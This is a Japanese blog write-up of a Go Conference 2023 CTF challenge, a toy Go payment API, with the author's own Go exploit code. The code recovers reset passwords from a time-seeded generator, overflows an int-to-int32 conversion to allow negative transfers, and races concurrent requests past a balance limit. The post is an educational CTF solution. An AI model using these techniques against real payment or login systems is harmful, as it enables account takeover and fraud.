こんにちは、びしょ〜じょです。 パンを作りすぎてゲームする時間がなくなりました。

はじめに

さて本日はGo Conference 2023が開催された。 弊社はプラチナスポンサーとして協賛しており、自分は一応スタッフ枠で参加したが、セッションを聞いて回ってました。

また、弊社はCTFを出題していたのでした。

CTFまともに解けたの初めてでテンションアゲアゲマックなんで、解説していく。

出題者によるプロの解説もよければ御覧ください。

セキュリティエンジニアの宮口です。 Go Conference 2023にてCTFの問題を用意させていただきました。 問題はこちらになります。 github.com 本記事では出題の意図、想定解などを解説します。 解けた方も解けなかった方もぜひ読んでみてください! 1. 問題の解説 今回出題した問題は、バンドルカードの…

Cracking password

Dockerを走らせると、インメモリDB(ただのGoのmap)にaliceさんとbobさんの残高が保存される。

各人の初期パスワードは、それぞれtime.Now().UnixNano()をseedとして渡したgeneratePasswordにより生成されている。 一方、resetPasswordをみるとseedがtime.Now().Unix()になってる!

/password-resetを叩いた時間の秒数まで分かればパスワードが割れるわけですね。 ガバガバセキュリティだぜ。

初期パスワードのことは忘れて/password-resetを叩いてぶっこ抜く。

exploit.go
func crackPwd(u *User) {
    t := time.Now().Unix()
    passwordReset(u)

    // 秒なんで適当に揺らすガバ実装
    for i := t; i<=t+4; i++{
        u.Password = generatePassword(i) // main.goからコピペする
        r, _ := balance(u)
        if r != `{"error": "Authentication failed"}` {
            fmt.Printf("%+v\n", u)
            return
        }
    }

    panic(fmt.Sprintf("could not crack password for user %s", u.Id))
}

...
alice := &User{Id: "alice"}
bob := &User{Id: "bob"}
crackPwd(alice) // ☑
crackPwd(bob) // ☑

やったぜ。

残高0からの送金スキーム

あとは残高をブチ上げれば良い。 しかし…。

r, _ := transfer(alice, bob, "10000")
println(r)
// {"error": "Insufficient balance"}

そう、aliceもbobもお金を持っていないのである。

r, _ := transfer(alice, bob, "-10000")
println(r)
// {"error": "Amount validation failed: -10000"}

マイナス送金は別の判定らしい。 判定部分を見てみましょう。

main.go
func transfer(w http.ResponseWriter, r *http.Request) {
    ...
    amount, err := strconv.Atoi(req.Amount)
    ...
    // 残高チェック
    if int(users[from].Balance) < amount {
        ...
    }

    // 送金額のバリデーション
    if int32(amount) < 0 || int32(amount) > 1000000 {
        ...
    }

    // 上限チェック
    if users[to].Balance+int32(amount) > 9999999 {
        ...
    }

    ...
    // 残高の移動
    users[from].Balance = users[from].Balance - int32(amount)
    users[to].Balance = users[to].Balance + int32(amount)

    w.Write([]byte("{\"success\": true}")) // #nosec G104
}

おいなんか…intint32が混在してますなが:

  1. UserInfo.Balanceint32
  2. amountint
  3. 残高チェックはint
  4. 送金額のバリデーションはint32
  5. 上限チェックはint32
  6. 残高の移動の演算はint32

ここでおもむろにREADMEの注意事項を見てみると、

64bitプラットフォームを対象とした問題です

なるほど。64bitプラットフォーム上でのintは64bitとなる。

このことから、先程のマイナス送金は許容されること、リクエストに渡される 送金額のバリデーション、残高の移動がint32上の演算となることを併せて考えると、みんな大好きオーバーフローでバグらせればOKっぽいですね。

オフセットを64bitの最小値として、送金したい金額に足してやればマイナス送金で実質的に残高の移動が実現できそう。

バグれバグれバグれ
offset := -1<<63
amount := offset + 10000
r, _ := transfer(alice, bob, fmt.Sprint("%d", amount))
println(r)
// {"success": true}

bobAmount, _ := balance(bob)
println(bobAmount)
// {"balance": "10000"} ☑

aliceAmount, _ := balance(alice)
println(aliceAmount)
// {"balance": "-10000"}

ヨッシャ! aliceはCTFのために借金してくれ!!

Over the boundary

さて、あとは送金しまくってフラグが得られる残高9999999を超えればよい。 送金額のバリデーションから、1回に送れる最大金額は1000000。 したがって、10回送金すればフラグゲット。

for i := 0; i < 10; i++ {
    r, _ := transfer(alice, bob, fmt.Sprintf("%d", amount))
    if r != `{"success": true}` {
        println(r)
        panic("failed to transfer")
    }
}
// {"error": "Balance validation fialed: 1000000"}
// failed to transfer

…のはずだったが、どうやら残高の上限に当たったらしい。 なんやねん残高の上限ってこれでは5000兆円手に入っても預けられないやん…とにかく上限判定部分を見直すしかない。

main.go
func transfer(w http.ResponseWriter, r *http.Request) {
    ...
    // 上限チェック
    if users[to].Balance+int32(amount) > 9999999 {
        msg := fmt.Sprintf("{\"error\": \"Balance validation failed: %d\"}", int32(amount))
        http.Error(w, msg, http.StatusMethodNotAllowed)
        return
    }
    ...
}

ファッう〜ん…。 送金処理も見てみる。

main.go
    // 上限チェック
    if users[to].Balance+int32(amount) > 9999999 {
        ...
    }

    ...

    // 残高の移動
    users[from].Balance = users[from].Balance - int32(amount)
    users[to].Balance = users[to].Balance + int32(amount)

    ...

なんかここクサいんだよね、users[to].Balanceを変数に束縛してないで毎度参照している。 これってつまり…残高が上限を超える送金額を小分けにして各リクエストの上限判定を通せるんじゃない? いろんなセッションでgoroutineなどの並行並列よもやま話を聞いてきたお陰で脳が活性化しました。 上限ギリギリから再スタートするとすぐ上限に当たってしまうので、Dockerを再起動してから回します。

count := 10
wg2 := &sync.WaitGroup{}
wg2.Add(count)

for i := 0; i < count; i++ {
    go func() {
        r, _ := transfer(alice, bob, fmt.Sprintf("%d", uf+soukinMax))
        println(r)
        wg2.Done()
    }()
}

wg2.Wait()

ans, _ := balance(bob)
println(ans)
// {"balance": "10000000", "flag": "kanmu_ctf_2023{https://public.kanmu.jp/gocon2023/congratulations-Y8RYX3gmMZ.html}"}

ッシャオラア!!! capture the flagじゃい!!!

FlagがURLになっており、図1のようなウェブページが見られる。

1 おめでとう
2 Share on Twitterボタンがあるのだが、flagっぽい文字列が出たことに満足してURLを踏む前に満足してツイートした筆者

最後に、全体像を貼っておきます。

explot.go
func generatePassword(seed int64) string {
    // 割愛
}

func clackPwd(u *User) {
    t := time.Now().Unix()
    passwordReset(u)

    for i := t - 2; i <= t+4; i++ {
        u.Password = generatePassword(i)
        r, _ := balance(u)
        if r != `{"error": "Authentication failed"}` {
            fmt.Printf("%+v\n", u)
            return
        }
    }

    panic(fmt.Sprintf("could not crack password for user %s", u.Id))
}

func main() {
    wg := &sync.WaitGroup{}
    wg.Add(2)

    alice := &User{Id: "alice"}
    bob := &User{Id: "bob"}
    go func() {
        clackPwd(alice)
        wg.Done()
    }()

    go func() {
        clackPwd(bob)
        wg.Done()
    }()
    wg.Wait()

    offset := -1 << 63
    amount := fmt.Sprintf("%d", offset + 1000000)
    count := 10
    wg2 := &sync.WaitGroup{}
    wg2.Add(count)

    for i := 0; i < count; i++ {
        go func() {
            transfer(alice, bob, amount)
            wg2.Done()
        }()
    }

    wg2.Wait()

    ans, _ := balance(bob)
    println(ans)
}

...

おわりに

aliceさんはマイナス残高を清算してください。